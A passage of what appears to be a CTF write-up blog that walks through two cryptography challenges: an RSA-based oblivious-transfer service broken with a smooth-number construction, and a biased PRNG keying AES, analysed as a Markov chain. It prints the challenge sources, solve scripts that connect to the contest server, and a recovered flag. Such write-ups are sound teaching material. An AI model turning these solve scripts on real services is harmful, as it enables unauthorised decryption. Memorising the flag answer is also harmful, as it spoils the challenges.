    <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">i</span> <span class="o">^</span> <span class="n">j</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">j</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)])</span>

<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">shake_256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">key</span><span class="p">)).</span><span class="n">digest</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">xor</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"This is my new Oblivious transfer protocol built on top of the crypto primitive (factorisation is hard)</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"You should first generate a number h which you know the factorisation,</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"If you wish to know the first part of the key, send me h"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"If you wish to know the second part of the key, send me h - </span><span class="si">{</span><span class="mi">23</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="n">N</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">((</span><span class="s">"Now what's your number: "</span><span class="p">)))</span>

<span class="n">check</span> <span class="o">=</span> <span class="n">checkN</span><span class="p">(</span><span class="n">N</span><span class="p">)</span>
<span class="k">if</span> <span class="n">check</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">check</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="n">k1</span><span class="p">,</span> <span class="n">k2</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="n">randbelow</span><span class="p">(</span><span class="n">N</span><span class="p">),</span> <span class="n">secrets</span><span class="p">.</span><span class="n">randbelow</span><span class="p">(</span><span class="n">N</span><span class="p">)</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">k1</span> <span class="o">^</span> <span class="n">k2</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Now I send you these 2 numbers</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"pow(k1, e, N) = </span><span class="si">{</span><span class="nb">pow</span><span class="p">(</span><span class="n">k1</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">N</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"pow(k2, e, N+23) = </span><span class="si">{</span><span class="nb">pow</span><span class="p">(</span><span class="n">k2</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">N</span> <span class="o">+</span> <span class="mi">23</span><span class="p">)</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Since you only know how to factorise one of them, you can only get one part of the data :D</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"This protocol is secure so sending this should not have any problem"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"flag = </span><span class="si">{</span><span class="n">encrypt</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">FLAG</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Bye bye!"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>Since we need to decode both rsa encryption, we’ll need to know the factorization of both N and N+23. However, the server checked to make sure that N and N+23 are both prime. In order to constuct such number, we can try to find a number k where we know the factorization of k, but k+1 is a prime, then N will be 23k and 23(k+1) respsectively.</p>

<p>The way I construct the number is by building up primes from 2, then bruteforce the last prime so that k+1 is a prime. With that, we have the factorization of both N and N+23. Simply by calculating the phi and decrypt the rsa in both cases, and decrypt the flag using the same function, we can recover the flag.</p>

<div class="accordion mb-2" id="ot_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-ot_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#ot_solve_py-content" aria-expanded="true" aria-controls="ot_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="ot_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-ot_solve_py" data-bs-parent="#ot_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">isPrime</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">isPrime</span><span class="p">,</span> <span class="n">long_to_bytes</span>

<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># construct smooth prime
</span><span class="n">p1</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">a</span> <span class="o">=</span> <span class="mi">2</span>
<span class="k">while</span> <span class="nb">int</span><span class="p">(</span><span class="n">p1</span><span class="o">*</span><span class="mi">23</span><span class="p">).</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">4060</span><span class="p">:</span>
    <span class="n">p1</span><span class="o">*=</span> <span class="n">next_prime</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
    <span class="n">a</span> <span class="o">=</span> <span class="n">next_prime</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">next_prime</span><span class="p">((</span><span class="mi">1</span><span class="o">&lt;&lt;</span><span class="mi">4095</span><span class="p">)</span><span class="o">//</span> <span class="mi">23</span> <span class="o">//</span> <span class="n">p1</span><span class="p">)</span>
<span class="n">counter</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">p1</span><span class="o">*</span><span class="n">b</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">int</span><span class="p">(</span><span class="mi">23</span><span class="o">*</span><span class="n">p1</span><span class="o">*</span><span class="n">b</span><span class="p">).</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">4096</span><span class="p">:</span>
    <span class="n">counter</span><span class="o">+=</span><span class="mi">1</span>
    <span class="k">if</span><span class="p">(</span><span class="n">counter</span><span class="o">%</span><span class="mi">100000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="n">counter</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="mi">23</span><span class="o">*</span><span class="n">p1</span><span class="o">*</span><span class="n">b</span><span class="p">).</span><span class="n">bit_length</span><span class="p">())</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">next_prime</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">k</span> <span class="o">=</span> <span class="mi">23</span><span class="o">*</span><span class="p">(</span><span class="n">p1</span><span class="o">*</span><span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">k</span><span class="p">).</span><span class="n">bit_length</span><span class="p">())</span>

<span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc 34.124.157.94 10521"</span>
<span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">k</span><span class="p">)))</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"pow(k1, e, N) = "</span><span class="p">)</span>
<span class="n">c1</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"pow(k2, e, N+23) ="</span><span class="p">)</span>
<span class="n">c2</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"flag = "</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">decode</span><span class="p">())</span>

<span class="k">print</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span> <span class="n">c2</span><span class="p">)</span>

<span class="c1"># key 1 (N)
</span><span class="n">d1</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
        <span class="n">d1</span><span class="o">*=</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span>
<span class="n">d1</span><span class="o">*=</span><span class="n">b</span><span class="o">-</span><span class="mi">1</span>
<span class="n">d1</span><span class="o">*=</span><span class="mi">23</span>
<span class="n">k1</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="mi">65537</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d1</span><span class="p">))),</span> <span class="n">k</span><span class="p">)</span>

<span class="c1"># key 2 (N+23)
</span><span class="n">d2</span> <span class="o">=</span> <span class="p">(</span><span class="mi">23</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">p1</span><span class="o">*</span><span class="n">b</span><span class="p">)</span>
<span class="n">k2</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c2</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="mi">65537</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d2</span><span class="p">))),</span> <span class="n">k</span><span class="o">+</span><span class="mi">23</span><span class="p">)</span>

<span class="n">k</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">k1</span><span class="p">)</span><span class="o">^</span><span class="nb">int</span><span class="p">(</span><span class="n">k2</span><span class="p">)</span>

<span class="c1"># since the encryption is just xor with the hash of the key, 
# it also served as a decryption function
</span><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">shake_256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">key</span><span class="p">)).</span><span class="n">digest</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">xor</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">decrypt</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">flag</span><span class="p">))</span>
<span class="c1">#grey{waitttt_I_thought_factorization_is_hard!!?_bSug9kksE3W9SrPL}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="plcg">PLCG</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>Add some probability to spice up the game

- mechfrog88

nc 34.124.157.94 10531 
solves: 32/454
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="plcg_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-plcg_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#plcg_chal_py-content" aria-expanded="true" aria-controls="plcg_chal_py-content">
         <p>Show main.py</p>
 
      </button>
    </p>
    <div id="plcg_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-plcg_chal_py" data-bs-parent="#plcg_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'grey{fake_flag}'</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">sample</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">80</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="n">secrets</span><span class="p">.</span><span class="n">randbelow</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">)]</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sample</span><span class="p">)</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">sample</span><span class="p">))</span> <span class="ow">and</span> <span class="mi">0</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">sample</span><span class="p">:</span>
        <span class="k">break</span>

<span class="n">sample</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">182</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">getBiasRandomByte</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">secrets</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">sample</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">getRandomByte</span><span class="p">():</span>
    <span class="n">n</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">g</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
        <span class="n">n</span> <span class="o">+=</span> <span class="n">getBiasRandomByte</span><span class="p">()</span> <span class="o">*</span> <span class="n">getBiasRandomByte</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
        <span class="n">g</span> <span class="o">=</span> <span class="p">(</span><span class="n">g</span> <span class="o">+</span> <span class="n">getBiasRandomByte</span><span class="p">())</span> <span class="o">%</span> <span class="mi">256</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
        <span class="n">g</span> <span class="o">=</span> <span class="p">(</span><span class="n">getBiasRandomByte</span><span class="p">()</span> <span class="o">*</span> <span class="n">g</span> <span class="o">+</span> <span class="n">getBiasRandomByte</span><span class="p">())</span> <span class="o">%</span> <span class="mi">256</span>
    <span class="k">return</span> <span class="n">g</span>

<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">getRandomByte</span><span class="p">()</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">)])</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="mi">16</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span><span class="o">=</span><span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xc7\xcc\xd1</span><span class="s">D</span><span class="se">\xfb</span><span class="s">I</span><span class="se">\x10</span><span class="s">'</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Hello there, this is our lucky numbers"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">" "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span><span class="n">sample</span><span class="p">)))</span>

<span class="n">s</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Send us your lucky number! "</span><span class="p">))</span>

<span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">s</span> <span class="o">&lt;=</span> <span class="mi">10</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"I dont like your number :("</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Here's your lucky flag:"</span><span class="p">,</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">FLAG</span><span class="p">).</span><span class="nb">hex</span><span class="p">())</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>In this challenge, the key used to encrypt the flag is generated from a custom-made prng generator. Notice that in the last step, if we get some $2^x$ number as the bias random byte, the previous result of g will be shifted upward, leaving very little randomness. To actually calculate the probablility of each value as the outcome given <code class="language-plaintext highlighter-rouge">sample</code>, we can model the transition between two steps using a markov chain.</p>

<p>Assuming that the markov chain converges to stable sufficently fast, I simply apply the transformation matrix on a uniform distribution to see how skewed the output will be given the sample set. I them connect to the server multiple times until a set skewed enough is retrieved. After that, by bruteforcing the possible keys and attempting to decrypt the text gives us the flag.</p>

<div class="accordion mb-2" id="plcg_brute_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-plcg_brute_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#plcg_brute_py-content" aria-expanded="true" aria-controls="plcg_brute_py-content">
         <p>Show brute.py</p>
 
      </button>
    </p>
    <div id="plcg_brute_py-content" class="accordion-collapse collapse" aria-labelledby="hd-plcg_brute_py" data-bs-parent="#plcg_brute_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"34.124.157.94"</span><span class="p">,</span> <span class="mi">10531</span><span class="p">)</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
        <span class="n">lucky</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">" "</span><span class="p">)))</span>
        <span class="k">print</span><span class="p">(</span><span class="n">lucky</span><span class="p">)</span>
        <span class="n">sample</span> <span class="o">=</span> <span class="n">lucky</span>
        <span class="c1"># markov chain
</span>        <span class="n">valid_output</span> <span class="o">=</span> <span class="p">[[(</span><span class="n">i</span><span class="o">*</span><span class="n">j</span><span class="o">+</span><span class="n">k</span><span class="p">)</span><span class="o">%</span><span class="mi">256</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">sample</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">sample</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]</span>
        <span class="n">transition</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">(</span><span class="n">QQ</span><span class="p">,</span> <span class="p">[[</span><span class="n">valid_output</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">count</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]).</span><span class="n">transpose</span><span class="p">()</span><span class="o">/</span><span class="mi">16</span>
        <span class="n">initial</span> <span class="o">=</span> <span class="n">vector</span><span class="p">(</span><span class="n">QQ</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)])</span><span class="o">/</span><span class="mi">256</span>
        <span class="n">dist</span> <span class="o">=</span> <span class="p">(</span><span class="n">transition</span><span class="o">**</span><span class="mi">100</span><span class="p">)</span> <span class="o">*</span> <span class="n">initial</span>


        <span class="k">if</span> <span class="nb">min</span><span class="p">(</span><span class="n">dist</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mf">1e-5</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
        <span class="k">pass</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"! "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"10"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<div class="accordion mb-2" id="plcg_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-plcg_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#plcg_solve_py-content" aria-expanded="true" aria-controls="plcg_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="plcg_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-plcg_solve_py" data-bs-parent="#plcg_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'grey{fake_flag}'</span>

<span class="n">sample</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">240</span><span class="p">]</span>

<span class="c1"># markov chain
</span><span class="n">valid_output</span> <span class="o">=</span> <span class="p">[[(</span><span class="n">i</span><span class="o">*</span><span class="n">j</span><span class="o">+</span><span class="n">k</span><span class="p">)</span><span class="o">%</span><span class="mi">256</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">sample</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">sample</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]</span>
<span class="n">transition</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">(</span><span class="n">QQ</span><span class="p">,</span> <span class="p">[[</span><span class="n">valid_output</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">count</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]).</span><span class="n">transpose</span><span class="p">()</span><span class="o">/</span><span class="mi">16</span>
<span class="n">initial</span> <span class="o">=</span> <span class="n">vector</span><span class="p">(</span><span class="n">QQ</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)])</span><span class="o">/</span><span class="mi">256</span>
<span class="n">dist</span> <span class="o">=</span> <span class="p">(</span><span class="n">transition</span><span class="o">**</span><span class="mi">100</span><span class="p">)</span> <span class="o">*</span> <span class="n">initial</span>

<span class="k">print</span><span class="p">(</span><span class="n">dist</span><span class="p">)</span>
